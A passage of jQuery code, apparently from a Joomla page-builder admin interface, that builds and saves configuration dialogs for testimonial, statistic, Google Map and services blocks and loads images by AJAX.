		data.attr.bg=jQuery('#st-navigation .st-bg').val();
		//data.attr.auto=jQuery('#st-navigation .st-auto').val();
		//data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"desc":jQuery.trim(jQuery(this).attr("data-desc")),"link_text":jQuery.trim(jQuery(this).attr("data-link-text")),"link":jQuery.trim(jQuery(this).attr("data-link")),"image_full":jQuery.trim(jQuery(this).attr("data-image-full"))}};
			data.content.push(arr);
		});
		//console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
}
//  End Slider Option


// get Option Slider
function getTestimonialOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> Testimonial<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-testimonial-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			//Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
                        
						content+='<label>Path:</label><input type="text" class="st-path" value="images/" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage" data-desc="'+((data.content[i].attr.desc!=null)?data.content[i].attr.desc:"")+'" data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'" data-position="'+((data.content[i].attr.position!=null)?data.content[i].attr.position:"")+'" data-show-image="'+((data.content[i].attr.show_image!='undefined')?data.content[i].attr.show_image:"true")+'">';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>';
							content+='<label>Position:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-position span12" /></div>';
							content+='<label>Description:</label>';
							content+='<div class="row-fluid">';
								content+='<textarea class="span12 st-desc-content" rows="3"></textarea>';
							content+='</div>';
                            content+='<label>Sub Class:</label>';
    						content+='<div class="row-fluid"><input type="text" class="st-desc-show-image span12" /></div>';							
       
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
					content+='<div class="span6">';
                        content+='<label>Title:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-title span6" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
						content+='<label>Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-class span6" value="'+((data.attr.class!=null)?data.attr.class:"testimonial")+'" /></div>';
						content+='<label>Show Image:</label>';
						content+='<div class="row-fluid"><select class="st-show-image span6">';
							content+='<option value="true">True</option>';
							content+='<option value="false">False</option>';
						content+='</select></div>';
						//content+='<label>Interval:</label>';
						//content+='<div class="row-fluid"><input type="text" class="st-interval span6" value="'+data.attr.interval+'" /></div>';
						//content+='<label>Auto:</label>';
						//content+='<div class="row-fluid"><select class="st-auto span6">';
						//	content+='<option value="true">True</option>';
						//	content+='<option value="false">False</option>';
						//content+='</select></div>';
                        content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Template', 'st-testimonial-template', 'span6', '', data.attr.template, [['Testimonial','testimonial']], false);
                        content+='</div>';
					content+='</div>';
					//content+='<div class="span6">';
//						content+='<label>Type Slider:</label>';
//						content+="<div class='st-typetestimonial st-radio'>"; 
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
//						content+="</div>";
//					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';
        

		content+="<div class='st-button-group'>";
    		content+="<button class='btn btn-primary btn-save'>Save</button>";
    		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	testimonialSelectImage();
	jQuery('#st-navigation .st-typetestimonial [value="'+((data.attr.typetestimonial!=null)?data.attr.typetestimonial:"1")+'"]').prop('checked', true);
	//jQuery('#st-navigation .st-auto [value="'+data.attr.auto+'"]').attr("selected","selected");
    //jQuery('#st-navigation .st-show-image [value="'+data.attr.show_image+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveTestimonial();
	});
}

function testimonialSelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		//console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(String(jQuery(this).attr('data-title')));
		jQuery('.st-navigation .st-desc-item .st-desc-position').val(jQuery(this).attr('data-position'));
		jQuery('.st-navigation .st-desc-item .st-desc-show-image').val(jQuery(this).attr('data-show-image'));
        jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",String(jQuery(this).val()));
	});
	jQuery('.st-navigation .st-desc-item .st-desc-position').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-position",String(jQuery(this).val()));
	});
    jQuery('.st-navigation .st-desc-item .st-desc-show-image').change(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-show-image",jQuery(this).val());
        
	});
    jQuery('.st-navigation .st-desc-item .st-desc-short-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-short-title",jQuery(this).val());
	});
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveTestimonial(){
		data = {"type":"testimonial_desi","content":[],"attr":{}};
        data.attr.template = jQuery('select[name="st-testimonial-template"] option:selected').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.title=jQuery('#st-navigation .st-title').val();
		data.attr.show_image=jQuery('#st-navigation .st-show-image').val();
		//data.attr.interval=jQuery('#st-navigation .st-interval').val();
		//data.attr.auto=jQuery('#st-navigation .st-auto').val();
		//data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"desc":jQuery.trim(jQuery(this).attr("data-desc")),"position":jQuery.trim(jQuery(this).attr("data-position")),"show_image":jQuery(this).attr("data-show-image")}};
			data.content.push(arr);
		});
		//console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
}
//  End Slider Testimonial Option

// get Option Slider
function getIntroOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> Statistic<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-intro-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			//Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
                        
						content+='<label>Path:</label><input type="text" class="st-path" value="images/" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage"  data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'" data-number="'+((data.content[i].attr.number!=null)?data.content[i].attr.number:"")+'" data-iconname="'+((data.content[i].attr.iconname!=null)?data.content[i].attr.iconname:"")+'" data-show-image="'+((data.content[i].attr.show_image!='undefined')?data.content[i].attr.show_image:"true")+'" >';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>'
							content+='<label>Number:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-number span12" /></div>'
							content+='<label>Icon name:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-iconname span12" /></div>'
							//content+='<label>Background image:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-bg-image span12" /></div>'
//							content+='<label>Description:</label>';
//							content+='<div class="row-fluid">';
//								content+='<textarea class="span12 st-desc-content" rows="3"></textarea>';
//							content+='</div>';
//                            content+='<label>Link Text:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-link-text span12" /></div>'
//							content+='<label>Link:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-link span12" /></div>'
                            content+='<label>Show Image:</label>';
    						content+='<div class="row-fluid"><select class="st-desc-show-image span6">';
    							content+='<option value="true">True</option>';
    							content+='<option value="false">False</option>';
    						content+='</select></div>';							
       
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
					content+='<div class="span6">';
                        content+='<label>Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-class span6" value="'+((data.attr.class!=null)?data.attr.class:"")+'" /></div>';
						content+='<label>Title:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-title span6" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
						content+='<label>Id:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-sid span6" value="'+((data.attr.sid!=null)?data.attr.sid:"")+'" /></div>';
						content+='<label>Heading class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-hclass span6" value="'+((data.attr.hclass!=null)?data.attr.hclass:"")+'" /></div>';
						//content+='<label>Show Title:</label>';
						//content+='<div class="row-fluid"><select class="st-show-title span6">';
//							content+='<option value="true">True</option>';
//							content+='<option value="false">False</option>';
//						content+='</select></div>';
						content+='<label>Background image:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-bg span6" value="'+data.attr.bg_image+'" /></div>';
						//content+='<label>Auto:</label>';
						//content+='<div class="row-fluid"><select class="st-auto span6">';
						//	content+='<option value="true">True</option>';
						//	content+='<option value="false">False</option>';
						//content+='</select></div>';
                        content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Template', 'st-intro-template', 'span6', '', data.attr.template, [['Statistic','statistic'],['Statistic1','statistic1']], false);
                        content+='</div>';
					content+='</div>';
					//content+='<div class="span6">';
//						content+='<label>Type Slider:</label>';
//						content+="<div class='st-typeintro st-radio'>"; 
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
//						content+="</div>";
//					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';
        

		content+="<div class='st-button-group'>";
    		content+="<button class='btn btn-primary btn-save'>Save</button>";
    		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	introSelectImage();
	jQuery('#st-navigation .st-typeintro [value="'+((data.attr.typeintro!=null)?data.attr.typeintro:"1")+'"]').prop('checked', true);
	jQuery('#st-navigation .st-title [value="'+data.attr.title+'"]').attr("title");
    jQuery('#st-navigation .st-hclass [value="'+data.attr.hclass+'"]').attr("hclass");
    jQuery('#st-navigation .st-bg [value="'+data.attr.title+'"]').attr("bg");
    //jQuery('#st-navigation .st-show-title [value="'+data.attr.show_title+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveIntro();
	});
}

function introSelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		//console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(String(jQuery(this).attr('data-title')));
		jQuery('.st-navigation .st-desc-item .st-desc-number').val(jQuery(this).attr('data-number'));
		jQuery('.st-navigation .st-desc-item .st-desc-iconname').val(jQuery(this).attr('data-iconname'));
//		jQuery('.st-navigation .st-desc-item .st-desc-bg-image').val(jQuery(this).attr('data-bg-image'));
		jQuery('.st-navigation .st-desc-item .st-desc-show-image').val(jQuery(this).attr('data-show-image'));
//        jQuery('.st-navigation .st-desc-item .st-desc-link-text').val(jQuery(this).attr('data-link-text'));
//        jQuery('.st-navigation .st-desc-item .st-desc-link').val(jQuery(this).attr('data-link'));
//        jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",String(jQuery(this).val()));
	});
    jQuery('.st-navigation .st-desc-item .st-desc-show-image').change(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-show-image",jQuery(this).val());
        
	});
    jQuery('.st-navigation .st-desc-item .st-desc-number').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-number",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-iconname').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-iconname",jQuery(this).val());
	});
    //jQuery('.st-navigation .st-desc-item .st-desc-link-text').keyup(function() {
//		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link-text",jQuery(this).val());
//	});
    //jQuery('.st-navigation .st-desc-item .st-desc-link').keyup(function() {
//		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link",jQuery(this).val());
//	});    
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveIntro(){
		data = {"type":"intro_desi","content":[],"attr":{}};
        data.attr.template = jQuery('select[name="st-intro-template"] option:selected').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.title=jQuery('#st-navigation .st-title').val();
		data.attr.sid=jQuery('#st-navigation .st-sid').val();
		data.attr.hclass=jQuery('#st-navigation .st-hclass').val();
		//data.attr.show_title=jQuery('#st-navigation .st-show-title').val();
		data.attr.bg_image=jQuery('#st-navigation .st-bg').val();
		//data.attr.auto=jQuery('#st-navigation .st-auto').val();
		//data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"number":jQuery.trim(jQuery(this).attr("data-number")),"iconname":jQuery.trim(jQuery(this).attr("data-iconname")),"show_image":jQuery(this).attr("data-show-image")}};
			data.content.push(arr);
		});
		//console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
}
//  End Slider Option
//  Gmap Option
function addGmap(log,lat){
	var center = new google.maps.LatLng(log,lat);
	var loca = log+','+lat;
    jQuery('#geocomplete').geocomplete({
		map: '.map_canvas',
		types: ['establishment'],
		country: 'de',
		details: 'form ',
		markerOptions: {
			draggable: true
		},
		location:loca,
		mapOptions: {
			scrollwheel :true,
			center:center,
			zoom:15
		}
    });
    jQuery('#geocomplete').bind('geocode:dragged', function(event, latLng){
		jQuery('input[name=lat]').val(latLng.lat());
		jQuery('input[name=lng]').val(latLng.lng());
    });
}
function getGmapOption(data){
	content ="<div class='st-nav-title'><i class='icon-map-marker'></i> Gmap<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				//content+='<ul class="nav nav-tabs" id="tabpopup">';
				//	content+='<li class="active"><a href="#find"><i class="icon-images"></i>Find</a></li>';
				//	content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
			//	content+='</ul>';
			//	content+='<div class="tab-content">';
					//Begin tab Find
				//	content+='<div class="tab-pane active st-loadgmap" id="find">';
				//	content+='</div>';
					// End Tab Find

					//Begin tab Config
					content+='<div class="tab-pane" >';
						content+='<div class="row-fluid">';
							content+='<div class="span6">';
								content+='<label>Title:</label><input name="st-title" class="st-title" type="text" value="'+((data.attr.title==null)?"":data.attr.title)+'">';
								content+='<label>Address:</label><input name="formatted_address" class="st-fomartted" type="text" value="'+data.attr.location+'">';
								content+='<label>Zoom:</label><input name="zoom" class="st-zoom" type="text" value="'+data.attr.zoom+'" placeholder="maxZoom = 40">';
								content+='<label>MapTypeId:</label>';
								content+='<select class="st-map_type"><option value="ROADMAP">roadmap</option><option value="HYBRID">hybrid</option><option value="SATELLITE">satellite</option><option value="TERRAIN">terrain</option></select>';
								content+='<label>Height:</label><input name="height_map" class="st-heightmap" type="text" value="'+((data.attr.height==null)?"400":data.attr.height)+'">';
								content+='<label>Class:</label><input name="class_map" class="st-classmap" type="text" value="'+((data.attr.class==null)?"":data.attr.class)+'">';
							    content+='<label>State</label>';
                                content+="<div class='st-state st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-state" value="1" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-state" value="0">No</label>';
								content+="</div>";
							content+='</div>';
							content+='<div class="span6">';
								content+='<label>Show Pan control:</label>';
								content+="<div class='st-pancontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-pancontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-pancontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Zoom control:</label>';
								content+="<div class='st-zoomcontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-zoomcontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-zoomcontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Maptype control:</label>';
								content+="<div class='st-maptypecontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-maptypecontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-maptypecontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Streets control:</label>';
								content+="<div class='st-streetcontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-streetcontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-streetcontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Scroll Wheel:</label>';
								content+="<div class='st-scrollwheel st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-scrollwheel" value="false" checked="checked">No</label>';
									content+='<label class="radio inline"><input type="radio" name="st-scrollwheel" value="true">Yes</label>';
								content+="</div>";
							content+='</div>';
						content+='</div>';
				//	content+='</div>';
				//End tab Config
				content+='</div>';
			content+="</div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('#st-navigation').html(content);
	jQuery('#st-navigation .st-map_type [value="'+data.attr.maptype+'"]').attr('selected','selected');
	jQuery('#st-navigation .st-pancontrol [value="'+data.attr.pancontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-zoomcontrol [value="'+data.attr.zoomcontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-maptypecontrol [value="'+data.attr.maptypecontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-streetcontrol [value="'+data.attr.streetcontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-scrollwheel [value="'+((data.attr.scrollwheel==null)?"false":data.attr.scrollwheel)+'"]').attr('checked','checked');
	//jQuery('#tabpopup a').click(function (e) {
//		e.preventDefault();
//		jQuery(this).tab('show');
//	});
/*	jQuery("#find1").click(function(){
	  var searchstr = jQuery("#geocomplete").val();
	  jQuery("#geocomplete").geocomplete('find', searchstr);
	});
	jQuery("#reset").click(function(){
	  jQuery("#geocomplete").val('');
	}); */
    
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveGmap();
	});
}

function saveGmap(){
	var zoom = jQuery.trim(jQuery('#st-navigation .st-zoom').val());
	if(!testNumber(zoom)){
		alert('Zoom must be number format.');
		return false;
	}
	if(zoom<0 && zoom>21){
		alert('Zoom must be bettwen 1 and 21');
		return false;
	}
	data = {"type":"gmap_desi","content":"","attr":{}};
	data.attr.title=jQuery('#st-navigation .st-title').val();
	data.attr.latitude=jQuery('#st-navigation .st-latgmap').val();
	data.attr.longitude=jQuery('#st-navigation .st-lnggmap').val();
	data.attr.location=jQuery('#st-navigation .st-fomartted').val();
	data.attr.zoom=zoom;
	data.attr.maptype=jQuery('#st-navigation .st-map_type').val();
	data.attr.pancontrol = jQuery('#st-navigation [name="st-pancontrol"]:checked').val();
	data.attr.state = jQuery('#st-navigation [name="st-state"]:checked').val();
	data.attr.zoomcontrol = jQuery('#st-navigation [name="st-zoomcontrol"]:checked').val();
	data.attr.maptypecontrol = jQuery('#st-navigation [name="st-maptypecontrol"]:checked').val();
	data.attr.streetcontrol = jQuery('#st-navigation [name="st-streetcontrol"]:checked').val();
	data.attr.height=jQuery.trim((jQuery('#st-navigation .st-heightmap').val()==null)?'400':jQuery('#st-navigation .st-heightmap').val());
	data.attr.class=jQuery.trim((jQuery('#st-navigation .st-classmap').val()==null)?'':jQuery('#st-navigation .st-classmap').val());
	data.attr.scrollwheel = jQuery('#st-navigation [name="st-scrollwheel"]:checked').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

//  End Gmap


// Ajax load Images
function loadImages(url){
	jQuery.ajax({
		type:"POST",
		url :"index.php?option=com_blue_pagebuilder&task=page.getImageFolder&tmpl=component",
		data:{folder:url},
		beforeSend:function(){
			var inputs = jQuery("#st-navigation #getimage").find("input,button");
        	inputs.prop("disabled", true);
        	jQuery("#st-navigation #dragImage li").remove();
			if(jQuery('#st-navigation .st-dragimage #st-load').length==0){
				jQuery('#st-navigation .st-dragimage').append('<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div><div class="st-mark"></div></div>');
			}
		},
		success:function(response){
			response = jQuery.parseJSON(response);
			if(response.check==1){
				var html ="";
				for(var i=0;i<response.data.length;i++){
					html+='<li class="st-selectimage"><i class="icon-cancel-circle "></i><img title="'+response.data[i]["name"]+'" data-site="'+response.data[i]["site"]+'" src="'+response.data[i]["admin"]+'" /></li>';
				}
				jQuery('#st-navigation .st-dragimage #st-load').remove();
				var inputs = jQuery("#st-navigation #getimage").find("input,button");
	        	inputs.prop("disabled", false);
				jQuery('#st-navigation #dragImage').html(html);
			}else{
				jQuery('#st-navigation .st-dragimage #st-load').remove();
				var inputs = jQuery("#st-navigation #getimage").find("input,button");
	        	inputs.prop("disabled", false);
			}
			jQuery( ".st-navigation #dragImage li" ).draggable({
				connectToSortable: "#sortImage",
				appendTo: "body",
				placeholder: 'placeholder',
				helper: "clone",
				revert: "invalid"
			});

			jQuery( ".st-navigation #sortImage" ).sortable({
				connectToSortable: "#dragImage",
				appendTo: "body",
				placeholder: 'placeholder',
			    receive: function(event, ui) {
		      		jQuery('#sortImage [class^="icon-"]').click(function(){
		      			jQuery(this).parent().remove();
		      		});
		        },
		        deactivate: function(event,ui){
		        	sliderSelectImage();
		        } 
		    });
		    jQuery( ".st-navigation #sortImage" ).disableSelection();
		}
	});
}
function testNumber(text){
	var reg = /^\d+$/;
	return reg.test(text);
}
function testEmpty(sele){
	if(jQuery.trim(sele.val())==""){
		return true;
	}else{
		return false;
	}
}
function testspecialclass(text){
	var reg = /^\s*[a-zA-Z0-9\_\-\s]*\s*$/;
	return reg.test(text);
}
function testspecial(text){
	var reg = /^\s*[a-zA-Z0-9,\s]*\s*$/;
	return reg.test(text);
}
function testpath(text){
	var reg = /^[a-zA-Z0-9\/]*$/;
	return reg.test(text);
}

function convertHTML(str)
{	
	str = str.replace(/&/g, "&amp;");
	str = str.replace(/"/g, "&quot;");
	str = str.replace(/'/g, "&apos;");
	str = str.replace(/</g, "&lt;");
	str = str.replace(/>/g, "&gt;");	
	return str;
}




// get Services Option
function getServicesOption(data){
    content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Services<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option st-services'>";
    	content += "<div class='row-fluid'>";
    		content += "<div class='span6'>";
	    		content+="<label>Category:</label>";
	    		content+="<div class='row-fluid st-category'></div>";
	    		content += getBt2Inputgroup([['text', 'st-title','span12','','Title','Title', data.attr.title,''],['text', 'st-sid','span12','','Section id','Section id', data.attr.sid,''],['text', 'st-sclass','span12','','Section class','Section class', data.attr.sclass,''],['text', 'st-hclass','span12','','Heading class','Heading class', data.attr.hclass,''],['text', 'st-menuid','span12','','Menu id','Menu id', data.attr.menuid,''],['text', 'st-bg','span12','','Background image','Background image', data.attr.bg,'']],false);
        		content += getBt2Textareagroup([['st-description','span12','',data.attr.description,'Description', '5','']], false);
	    	content +="</div>";
	    	content += "<div class='span6'>";
	    		content += getBt2Inputgroup([['text', 'st-itemcount','span12','','Count','Count', data.attr.itemcount,'All']],false);
				//content += getBt2Selectgroup('Full width', 'st-full', 'span12', '', data.attr.full, [['Yes', '1'],['No', '0']], false);
				content += getBt2Selectgroup('Columns', 'st-services-col', 'span12', '', data.attr.col, [['2 Columns', '2'],['3 Columns', '3'],['4 Columns', '4'],['6 Columns', '6']], false);
				content += getBt2Selectgroup('Animate', 'st-animate', 'span12', '', data.attr.animate, [['Yes', '1'],['No', '0']], false);
